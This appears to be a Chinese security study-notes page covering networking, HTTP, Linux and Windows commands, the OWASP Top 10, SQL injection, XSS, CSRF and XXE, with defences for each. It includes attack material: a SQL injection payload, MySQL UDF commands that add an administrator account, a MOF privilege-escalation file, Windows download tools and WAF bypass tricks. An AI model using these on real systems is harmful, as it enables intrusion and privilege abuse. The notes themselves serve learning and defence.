任何严重漏洞的背后必然是从一个不起眼的没什么技术含量的容易被忽略的漏洞引起的,做好细微漏洞的防范能防止重大信息安全事故的发生。

任何严重漏洞的背后必然是从一个不起眼的没什么技术含量的容易被忽略的漏洞引起的,做好细微漏洞的防范能防止重大信息安全事故的发生。

任何严重漏洞的背后必然是从一个不起眼的没什么技术含量的容易被忽略的漏洞引起的,做好细微漏洞的防范能防止重大信息安全事故的发生。


计算机组成原理

  • CPU: 运算器 控制器

  • ​ 存储器: RAM ROM

  • IO输入输出设备: 鼠标 键盘 显示器

  • ​ 系统总线


操作系统

  • 不要等着别人告诉你答案,要自己学会去寻找答案

  • 从知识和常识进行思索

  • 要自己动手写操作系统,操作系统才真正会了

计算机怎么工作??? 取指执行

计算机是计算机模型的实现

图灵机—–>通用图灵机

冯诺依曼存储程序思想

存储程序的主要思想

将程序和数据放到计算机内部的存储器中,计算机在程序的控制下一步一步进行处理。

计算机由五大部件组成: 运算器控制器存储器输入输出设备

对汇编要求非常高

CS 左移四位+ IP

0X7C00 引导扇区 512字节

引导扇区代码 bootsect.s 汇编

核心思想、技术 ——>>> 程序执行、多进程、程序执行带动其他设备使用的基本结构

掌握 、实现操作系统的多进程图谱

掌握、 实现操作系统的文件实操视图


计算机系统结构

  • 应用语言机器层

  • 高级语言层

  • 汇编语言层

  • 操作系统层

  • 指令系统层

  • 微指令机器层


计算机网络

  • 计算机网络 = 通信技术 + 计算机技术

  • 计算机网络是通信技术和计算机技术紧密结合的产物

  • 计算机网络是一种通信网络

通信系统模型

​ 信源—>发送设备—-> 信道—–>接收设备—->信宿

​ 噪声源

定义:计算机网络就是自治的、互联的计算机集合

自治:无主从关系

互联:互联互通

通信链路

通过交换网络互连主机

交换节点(路由器、交换机)

全球最大的互联网络

  • ISP 网络互联的“网络之网络”

  • 数以百万计的互连的计算设备集合 (PC、服务器、笔记本电脑、智能手机等)

​ 主机 = 端系统

​ 运行各种网络应用

通信链路

  • 无线链路、有线链路

  • ​ 光纤、无线电、铜缆、卫星等

分组交换 : 转发分组(数据包)

路由器和交换机

Internet

  • 为网络应用提供通信服务的通信基础设施

    ​ WEB、网络游戏、电子商务、社交网络

  • 为网络应用提供应用编程接口(API)

    ​ 支持应用程序连接Internet,发送/接收数据

  • 提供类似邮政系统的数据传输服务

网络协议

协议是计算机网络有序运行的重要保证

如同交通系统

协议三要素

  • ​ 语法

  • ​ 语义

  • ​ 时序

分组交换允许更多用户使用网络

——–网络资源充分共享

适用于数据传输网络

分组交换为什么会发生丢包和时延?

分组在路由器缓存中排队

分层结构

  • 应用层

  • 传输层

  • 网络层

  • 数据链路层

  • 物理层

套接字:Socket

WEB应用

IP负责把数据包送到正确的计算机

UDP负责把数据包送到正确的程序

TCP : 可靠、面向连接、字节流传输、点对点

  • 流量控制

  • 拥塞控制

  • 连接建立

UDP :不可靠、无连接、数据报传输

基于尽力而为的网络层,没有做可靠性方面的扩展

网络层核心功能

  • 转发与路由

  • 连接建立

TCP三次握手的过程以及对应的状态转换

(1)客户端向服务器端发送一个SYN包,包含客户端使用的端口号和初始序列号x;
(2)服务器端收到客户端发送来的SYN包后,向客户端发送一个SYN和ACK都置位的TCP报文,包含确认号xx1和服务器端的初始序列号y;
(3)客户端收到服务器端返回的SYNSACK报文后,向服务器端返回一个确认号为yy1、序号为xx1的ACK报文,一个标准的TCP连接完成。

三次握手

  • 发送端发送带有syn标志的数据包给接收端,这是第一次握手。

  • 接收端回传一个带有syn/ack标志的数据包给发送端以表示传达确认信息,这是第二次握手。

  • 发送端回传一个带有ack标志的数据包,这是第三次握手,代表握手结束。

TCP和UDP协议区别

tcp面向连接,udp面向报文 tcp对系统资源的要求多 udp结构简单 tcp保证数据完整性和顺序,udp不保证。


HTTP协议

Get和Post方法的区别

Http协议定义了很多与服务器交互的方法,最基本的有4种,分别是GET,POST,PUT,DELETE;还有OPTIONS方法,可以查询开启哪些与服务器交互的方法。 一个URL地址用于描述一个网络上的资源,而HTTP中的GET, POST, PUT, DELETE就对应着对这个资源的查,改,增,删4个操作。 我们最常见的就是GETPOST了。GET一般用于获取/查询资源信息,而POST一般用于更新资源信息.

我们看看GETPOST的区别

  1. GET提交的数据会放在URL之后,以?分割URL和传输数据,参数之间以&相连,如EditPosts.aspx?name=test1&id=123456。POST方法是把提交的数据放在HTTP包的Body中.

  2. GET提交的数据大小有限制(因为浏览器对URL的长度有限制),而POST方法提交的数据没有限制.

  3. GET方式需要使用Request.QueryString来取得变量的值,而POST方式通过Request.Form来获取变量的值。

  4. GET方式提交数据,会带来安全问题,比如一个登录页面,通过GET方式提交数据时,用户名和密码将出现在URL上,如果页面可以被缓存或者其他人可以访问这台机器,就可以从历史记录获得该用户的账号和密码. (特别注意这一点!!!)

https的建立过程

  • 客户端发送请求到服务器端
  • 服务器端返回证书和公开密钥,公开密钥作为证书的一部分而存在
  • 客户端验证证书和公开密钥的有效性,如果有效,则生成共享密钥并使用公开密钥加密发送到服务器端
  • 服务器端使用私有密钥解密数据,并使用收到的共享密钥加密数据,发送到客户端
  • 客户端使用共享密钥解密数据
  • SSL加密建立

LINUX系统

Linux用户类型

Linux 用户类型分为三类:超级用户、系统用户和普通用户。
超级用户:用户名为rootUSER ID(UID)0的账号,具有一切权限,可以操作系统中的所有资源。Root用户可以进行基础的文件操作及特殊的系统管理,可以修改系统中的任何文件。
系统用户:正常运行系统时使用的账户。每个进程运行在系统里都有一个相应的属主,比如某个进程以何种身份运行,这些身份就是系统里对应的用户账号。
普通用户:普通使用者能使用Linux的大部分资源,一些特定的权限受到控制。用户只对自己的目录有写权限,读写权限受一定的限制,有效保证了系统安全性。

Linux文件类型

Linux4种基本文件系统类型:普通文件、目录文件、链接文件和特殊文件。通过ls-l命令可以返回文件的相关属性,其中第一个字符就是用于标识文件的类型。
普通文件包括文本文件、程序代码文件、Shell脚本、二进制的可执行文件等,系统中的绝大部分文件都属于这种类型。
目录是被作为一个文件来对待,其标识值为d。目录下可以包括文件和子目录。

链接文件其实是一个指向文件的指针,通过链接文件,用户访问的将会是指针所指向的文件。

Linux命令

history

显示历史命令

last

用于显示用户最近登录信息。单独执行last命令,它会读取/var/log/wtmp的文件,并把给该文件的内容记录的登入系统的用户名单全部显示出来。

lastb
用于显示用户错误的登录列表,此指令可以发现系统的登录异常。单独执行lastb命令,它会读取位于/var/log目录下,名称为btmp的文件,并把该文件内容记录的登入失败的用户名单,全部显示出来。
lastlog

用于显示系统中所有用户最近一次登录信息。

lastlog **文件在每次有用户登录时被查询。可以使用lastlog命令检查某特定用户上次登录的时间,并格式化输出上次登录日志/var/log/lastlog的内容。它根据UID排序显示登录名、端口号(tty)和上次登录时间。如果一个用户从未登录过,lastlog显示Never logged。注意需要以root**身份运行该命令。

输出重定向

ifconfig > ifconfig.txt (覆盖)

ifconfig >> ifconfig.txt (追加)

ps -ef

显示系统及应用进程

chkconfig –list

查询开机启动服务

chkcofig –del

删除开机启动服务

chkcofig -add 服务名

添加开机启动服务 (服务必须存在)

chkcofig –level 连在一起启动服务级别 服务名 on/off

设置服务在某个级别开机启动/不启动

cron/crontab

计划任务

crontab -l

计划任务列出

crontab -e

编辑计划任务


Windows命令

eventvwr.msc

eventvwr.msc命令用于打开事件管理器

gpedit.msc

gpedit.msc命令用于打开本地组策略器

secpol.msc

secpol.msc命令用于打开本地安全策略

通过以下命令查找RDP服务的端口号

1
tasklist /svc | find "TermService"

Windows cmd 如何下载文件

1.certutil.exe

2.powershell

3.bitsadmin

4.vbs

5.ftp


WEB容器

Apache

“低版本的apache存在未知扩展名解析漏洞”的说法是错误的,正确的说法应该是使用module模式与php结合的所有版本 apache存在未知扩展名解析漏洞,使用fastcgi模式与php结合的所有版本apache不存在此漏洞。


应急响应/溯源

应当在web日志中寻找哪些蛛丝马迹来分析确定针对web服务器的恶意活动呢?

1) 单引号需要注意,因为经常这是SQL注入攻击的特征。
2)../.. 表示目录跳转。
3)注意以下两个文件,如果其服务器对应的响应代码是200,很不幸,意味着你的系统已经被攻克了。
/etc/passwd
/etc/shadow
4)以下各种路径如果在web日志中出现,也值得严重关切:
/bin/ksh
/bin/bash
/bin/id
/bin/cat


2017 OWASP Top10

http://www.owasp.org.cn/owasp-project/OWASPTop102017v1.3.pdf

A1:2017-Injection(注入漏洞)

将不受信任的数据作为命令或查询的一部分发送到解析器时,会产生诸如SQL注入、NoSQL注入、OS

注入和LDAP注入的注入缺陷。攻击者的恶意数据可以诱使解析器在没有适当授权的情况下执行非预

期命令或访问数据。

A2:2017-BrokenAuthentication(中断身份认证)

与认证和会话管理相关的应用函数经常被错误地实现,从而允许攻击者破坏密码、密钥或是会话令牌,或者利用其他的应用漏洞来暂时或永久地获取用户身份信息。

A3:2017-Sensitive DataExposure(敏感数据泄露)

许多web应用程序和API不能正确的保护敏感数据,如金融、医疗保健和PII(个人身份信息)等。攻击者可能会窃取或篡改这些弱保护的数据,从而进行信用卡欺诈、身份盗窃或其他犯罪行为。在缺少额外保护(例如,在存放和传输过程中加密,且在与浏览器进行交换时需要特别谨慎)的情况下,敏感数据可能会受到损害。

A4:2017-XML ExternalEntities(XXE)XML外部处理器漏洞

许多过时的或配置不当的XML处理器在XML文档内进行外部实体引用。外部实体可用于泄露内部文件,通过使用文件URI处理器、内部文件共享、内部端口扫描、远程代码执行以及拒绝服务攻击等手段。

A5:2017-Broken AccessControl(中断访问控制)

限制“认证的用户可以实现哪些操作”的命令没有得到正确的执行。攻击者可以利用这些漏洞访问未经授权的功能和数据,例如访问其他用户的账户,查看敏感文件,篡改其他用户的数据,更改访问权限等。

A6:2017-SecurityMisconfiguration(安全配置错误)

安全配置错误是最常见的问题。这通常是由不安全的默认配置,不完整或ad hoc配置,开放云存储,错误配置的HTTP标头,以及包含敏感信息的详细错误信息造成的。所有的操作系统、框架、库、应用程序都需要进行安全配置外,还必须要及时进行系统更新和升级。

A7:2017-Cross-SiteScripting(XSS)跨站脚本攻击

如果应用程序在未经适当验证或转义的情况下,能够在新网页中包含不受信任的数据,或是使用可以创建HTML或者JavaScript的浏览器API更新包含用户提供的数据的现有网页,就会出现XSS漏洞。XSS允许攻击者在受害者的浏览器中执行脚本,这些脚本可以劫持用户会话、破坏网站或将用户重定向到恶意网站中。

A8:2017-InsecureDeserialization(不安全的反序列化)

不安全的反序列化漏洞通常会导致远程代码执行问题。即使反序列化错误不会导致远程代码执行,也可以被用来执行攻击,包括重放攻击、注入攻击以及权限提升攻击等。

A9:2017-UsingComponents with Known Vulnerabilities(使用含有已知漏洞的组件)

组件(如库、框架和其他软件模块)是以与应用程序相同的权限运行的。如果存在漏洞的组件被利用,这种攻击可能会导致严重的数据丢失或服务器接管危机。使用已知漏洞组件的应用程序和API可能会破坏应用程序的防御系统,从而启动各种形式的攻击,造成更为严重的影响。

A10:2017-InsufficientLogging & Monitoring(不足的记录和监控漏洞)

不足的记录和监控漏洞,再加上事件响应能力欠缺以及缺少有效的整合,使得攻击者可以进一步攻击系统,维持其持久性,转而攻击更多的系统,并篡改、提取或销毁数据。大部分的数据泄露研究显示,检测出发生数据泄漏的时间通常需要超过200天,而且通常是外部机构率先发现数据泄漏的事实,而不是通过内部的审计流程或监控发现的。


SQL注入

SQL 注入漏洞是发生于应用程序与数据库层的安全漏洞。简而言之,是在输入的字符串之中注入SQL指令,在设计不良的程序当中忽略了检查,那么这些注入进去的指令就会被数据库服务器误认为是正常的 SQL 指令而运行,因此遭到破坏或是入侵。

SQL注入类型

报错注入

报错注入包括有floor函数、Extractvalue函数、Updatexml函数等。floor报错的前提是表中数据为3条以上,原因是group bycount的冲突,ExtractvalueUpdatexml是针对XML文档查询的注入函数,将文档路径处修改可以报错并返回我们需要的结果。

1
)or updatexml(1,concat(0x7e,database(),0x7e),1)#
  • 盲注

    bool布尔型注入、 时间盲注

    盲注是什么?怎么盲注?

    盲注是在SQL注入攻击过程中,服务器关闭了错误回显,我们单纯通过服务器返回内容的变化来判断是否存在SQL注入和利用的方式。盲注的手段有两种,一个是通过页面的返回内容是否正确(boolean-based),来验证是否存在注入。一个是通过sql语句处理时间的不同来判断是否存在注入(time-based),在这里,可以用benchmarksleep等造成延时效果的函数,也可以通过构造大笛卡儿积的联合查询表来达到延时的目的。

    延时注入如何来判断? if(ascii(substr(“hello”, 1, 1))=104, sleep(5),

    盲注和延时注入的共同点? 都是一个字符一个字符的判断

  • 联合注入

  • 堆叠查询注入

  • 二次注入

    二次注入是因为目标只对用户提交数据进行转义,而数据以原样保存在数据库中,且从数据库中提取数据时认为数据时安全的,没有进行防护。以注册账户处为例,第一次注册admin’#,后台转义为admin,但是数据库中的用户名任然为admin ‘#,此时可以通过admin ‘#登录admin。我们不应该相信数据库中数据完全是安全的,当我们调用时也应该进行相关转义。

  • 宽字节注入

    宽字节注入产生原理以及根本原因

    产生原理

    在数据库使用了宽字符集而WEB中没考虑这个问题的情况下,在WEB层,由于0XBF27是两个字符,在PHP中比如addslashmagic_quotes_gpc开启时,由于会对0x27单引号进行转义,因此0xbf27会变成0xbf5c27,而数据进入数据库中时,由于0XBF5C是一个另外的字符,因此\转义符号会被前面的bf带着”吃掉”,单引号由此逃逸出来可以用来闭合语句。

    在哪里编码

    根本原因

    character_set_client(客户端的字符集)和character_set_connection(连接层的字符集)不同,或转换函数如,iconv、mb_convert_encoding使用不当。

    解决办法

    统一数据库、Web应用、操作系统所使用的字符集,避免解析产生差异,最好都设置为UTF-8。 或对数据进行正确的转义,如mysql_real_escape_string+mysql_set_charset的使用。

SQL注入防护方法

1、采用预编译参数化查询

2、对输入的特殊字符进行Escape转义处理

3、使用白名单来规范化输入验证方法

4、对客户端输入进行控制,不允许输入SQL注入相关的特殊字符

5、服务器端在提交数据库进行SQL查询之前,对特殊字符进行过滤、转义、替换、删除。

6、使用安全的API

7、 规范编码,字符集

sql注入的防御核心原则是数据代码分离,最佳方案是采用预编译,所谓预编译就是绑定变量,这样sql语句就不会发生变化,攻击者也无法改变sql结构。如java里的PreparedStatement函数。除此之外,我们也应该统一前后端数据库编码问题,对用户提交参数进行检测,过滤、转义非法字符。也应该避免root等高级用户直接连接数据库。

为什么参数化查询可以防止sql注入

原理:

使用参数化查询数据库服务器不会把参数的内容当作sql指令的一部分来执行,是在数据库完成sql指令的编译后才套用参数运行

简单的说: 参数化能防注入的原因在于,语句是语句,参数是参数,参数的值并不是语句的一部分,数据库只按语句的语义跑


MySQL手工注入

mysql的网站注入,5.0以上和5.0以下有什么区别?

5.0以下没有information_schema这个系统表,无法列表名等,只能暴力跑表名,跟ACCESS数据库一样。

5.0以下是多用户单操作,5.0以上是多用户多操作。

https://www.sqlsec.com/2018/01/select.html

MySQL常用的系统函数

1
2
3
4
5
version()            #MySQL版本
user() #数据库用户名
database() #数据库名
@@datadir #数据库路径
@@version_compile_os #操作系统版本

Mysql一个@和两个@什么区别

  • @为用户变量,使用SET @var1=1赋值
  • @@ 为系统变量 ,包括全局变量show global variables \G;和会话变量show session variables \G;

XSS

XSS是跨站脚本攻击,用户提交的数据中可以构造恶意JavaScript代码来执行,从而实现窃取用户信息等攻击。

XSS防护方法

1、对字符实体进行转义

2、使用HTTP Only来禁止JavaScript读取Cookie

3、输入时校验

4、浏览器与Web应用端采用相同的字符编码。

存储型XSS

存储型XSS由于输入的数据存储于服务器端数据库里,所以稳定性强,可以持续触发。

反射型XSS

反射型XSS由于输入的数据可以构造恶意JavaScript代码进行执行,从而窃取用户信息,但需要用户点击一段恶意JavaScript代码,才能触发成功。

DOM型XSS

DOM型XSS由于通过JavaScript代码修改页面的DOM节点操作所产生。

DOM型和反射型的区别

反射型XSS:通过诱导用户点击,我们构造好的恶意JavaScript payload才会触发的XSS。 反射型XSS的检测我们在每次请求带payload的链接时页面应该是会带有特定的畸形数据的。

DOM型:通过修改页面的DOM节点形成的XSSDOM-based XSS由于是通过JavaScript代码进行dom操作产生的XSS,所以在请求的响应中我们甚至不一定会得到相应的畸形数据。 根本区别是输出点的不同。

xss绕过方式包括关键字大小写、十六进制、url、jsfuck编码、闭合便签、%00截断、双字符绕过等。


CSRF

CSRF是跨站请求伪造攻击XSS是实现CSRF的诸多手段中的一种,是由于没有在关键操作执行时进行是否由用户自愿发起的确认。

CSRF防护方法

1、筛选出需要防范CSRF的页面然后嵌入Token

2、再次输入密码

3、检验Referer

4、添加验证码

csrf与ssrf的区别,防御手段?

csrf:攻击者盗用你的身份,以你的名义发送恶意请求

发生条件:登录受信用网站A,并存有cookie

在存有A cookie的情况下访问危险网站B

ssrf:服务端请求伪造攻击,有的大型网站在web应用上提供了从其他服务器获取数据 的功能。攻击者利用缺陷的web应用作为代理攻击远程和内网的服务器(跳板)

危害: 可对内网进行端口扫描

对内网**web**应用进行指纹识别

攻击内网web应用


xxe漏洞

许多过时的或配置不当的XML处理器在XML文档内进行外部实体引用。外部实体可用于泄露内部文件,通过使用文件URI处理器、内部文件共享、内部端口扫描、远程代码执行以及拒绝服务攻击等手段。

XXE全称是——XML External Entity,也就是XML外部实体注入攻击,漏洞是在对不安全的外部实体数据进行处理时引发的安全问题。

XXEXML外部实体注入攻击,XML中可以通过调用外部实体来请求本地或者远程内容,和远程文件保护类似,会引发相关安全问题,例如敏感文件读取、内部文件共享、内部端口扫描、远程代码执行以及拒绝服务攻击。

XXE防护方法

XML解析库在调用时严格禁止对外部实体的解析


提权

数据库提权

udf提权

利用了root 高权限,创建带有调用cmd的函数的udf.dll动态链接库,导出 udf.dll 文件后,我们就可以直接在命令框输入 cmd。

udf是用户自定义函数,是mysql数据库功能的一种扩展,利用root权限,创建带有调用cmd函数的’udf.dll’(动态链接库)。当我们把’udf.dll’导出指定文件夹引入Mysql时,其中的调用函数拿出来当作mysql的函数使用。这样我们自定义的函数才被当作本机函数执行。在使用CREAT FUNCITON调用dll中的函数后,mysql账号转化为system权限,从而来提权。

要求: 1.目标系统是Windows(Win2000,XP,Win2003); 2.拥有MYSQL的某个用户账号,此账号必须有对mysql的insert和delete权限以创建和抛弃函数 3.有root账号密码 导出udf: MYSQL 5.1以上版本,必须要把udf.dll文件放到MYSQL安装目录下的lib\plugin文件夹下才能创建自定义函数 可以再mysql里输入 select @@basedir show variables like ‘%plugins%’ 寻找mysql安装路径 提权:

使用SQL语句创建功能函数。语法:Create Function 函数名(函数名只能为下面列表中的其中之一)returns string soname ‘导出的DLL路径’;

1
2
3
4
5
create function cmdshell returns string soname ‘udf.dll’
select cmdshell(‘net user arsch arsch /add’);
select cmdshell(‘net localgroup administrators arsch /add’);

drop function cmdshell;

该目录默认是不存在的,这就需要我们使用webshell找到MYSQL的安装目录,并在安装目录下创建lib\plugin文件夹,然后将udf.dll文件导出到该目录即可。

mof提权

MOF文件每五秒就会执行,而且是系统权限,我们通过mysql使用load_file 将文件写入/wbme/mof,然后系统每隔五秒就会执行一次我们上传的MOF。MOF当中有一段是vbs脚本,我们可以通过控制这段vbs脚本的内容让系统执行命令,进行提权。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
#pragma namespace("\\\\.\\root\\subscription")

instance of __EventFilter as $EventFilter
{
EventNamespace = "Root\\Cimv2";
Name = "filtP2";
Query = "Select * From __InstanceModificationEvent "
"Where TargetInstance Isa \"Win32_LocalTime\" "
"And TargetInstance.Second = 5";
QueryLanguage = "WQL";
};

instance of ActiveScriptEventConsumer as $Consumer
{
Name = "consPCSV2";
ScriptingEngine = "JScript";
ScriptText =
"var WSH = new ActiveXObject(\"WScript.Shell\")\nWSH.run(\"net.exe user test test /add\")";
};

instance of __FilterToConsumerBinding
{
Consumer = $Consumer;
Filter = $EventFilter;
};

2、执行load_file及into dumpfile把文件导出到正确的位置即可。

1
select load file('c:/wmpub/nullevt.mof') into dumpfile 'c:/windows/system32/wbem/mof/nullevt.mov'

执行成功后,即可添加一个普通用户,然后你可以更改命令,再上传导出执行把用户提升到管理员权限,然后3389连接之就ok了。


代码执行

代码执行函数

eval 、preg_replace+/e 、assert、call_user_func、call_user_func_array、 create_function


文件读取

文件读取函数

file_get_contents()、highlight_file()、fopen(),read

file()、fread()、fgetss()、 fgets()、parse_ini_file()、show_source()、file()


命令执行

命令执行

system()、exec()、shell_exec()、 passthru() 、pcntl_exec()、popen(),proc_open()


Bypass

绕过waf

  • 大小写转换法
  • 干扰字符 /*!*/
  • 编码 base64 unicode hex url ascll
  • 复参数